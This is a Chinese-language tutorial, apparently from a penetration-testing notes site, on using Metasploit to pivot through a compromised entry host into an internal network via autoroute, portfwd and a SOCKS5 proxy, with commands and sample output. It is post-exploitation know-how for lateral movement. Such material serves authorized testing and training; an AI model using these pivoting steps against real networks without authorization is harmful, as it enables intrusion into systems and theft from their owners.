MetaSploit内网代理
在入口机上线Meterpreter后,把入口机作为跳板机,通过添加路由、端口转发、socks代理等多种方式访问内网
# 描述
例如上图中所示拓扑,192.168.10.x网段的攻击机无法直接访问192.168.20.x网段内网主机,入口机存在192.168.10.x、192.168.20.x两个网卡,在拿下入口机meterpreter后,让这台入口机转发流量实现访问内网
metasploit内网代理的三种方式:
- 添加路由
- 端口转发
- socks代理
# autoroute添加路由
在入口机添加静态路由,让攻击机知道如何访问内网,添加路由后,msf的流量会自动分流,其他流量不受影响
meterpreter > run autoroute -s 192.168.20.0/24
1
或者在msfconsole中使用,指定session id
msf > route add 192.168.20.0 255.255.255.0 1
1
删除路由指令
msf > route remove 192.168.20.0 255.255.255.0 1
1
提示
添加路由后,攻击机可以通过入口机转发流量访问内网,在内网主机存在漏洞可以利用时,推荐使用正向shell,如果使用反弹shell,内网主机没有到攻击机的路由,反弹shell会失败。可以通过portfwd把本地监听端口映射到入口机上,反弹shell到入口机的映射端口。
# portfwd端口转发
效果可能较差,流量经过了多次转发
在入口机上使用portfwd命令做端口转发,把内网主机的端口映射到本地(攻击机)上,访问本地端口实现直接访问内网主机的效果
meterpreter > portfwd add -l 8080 -p 80 -r 192.168.20.1
1
- l:本地端口(使用msf的主机)
- p:内网主机端口
- r:内网主机IP
例如192.168.20.20主机存在一个thinkphp漏洞版本,通过这条命令把内网主机80端口映射到攻击机8080端口,可以直接访问127.0.0.1:8080达到访问192.168.20.20:80的效果
meterpreter > portfwd list
# Local Remote Direction
1 127.0.0.1:3389 192.168.10.20:3389 Forward
2 127.0.0.1:445 192.168.10.30:445 Forward
# 方法一:根据id删除
meterpreter > portfwd delete -i 1
# 方法二:根据本地端口删除
meterpreter > portfwd delete -l 3389
1
2
3
4
5
6
7
8
2
3
4
5
6
7
8
# socks代理
启动 SOCKS5 代理模块,需要先使用route命令添加路由
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set VERSION 5
VERSION => 5
msf6 auxiliary(server/socks_proxy) > set SRVHOST 0.0.0.0
SRVHOST => 0.0.0.0
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
SRVPORT => 1080
msf6 auxiliary(server/socks_proxy) > run
1
2
3
4
5
6
7
8
2
3
4
5
6
7
8
然后可以在浏览器里配置socks5代理,或使用proxifier等工具,让流量走代理访问内网
参考:
编辑 (opens new window)
最后一次更新于: 2025/10/05, 00:41:30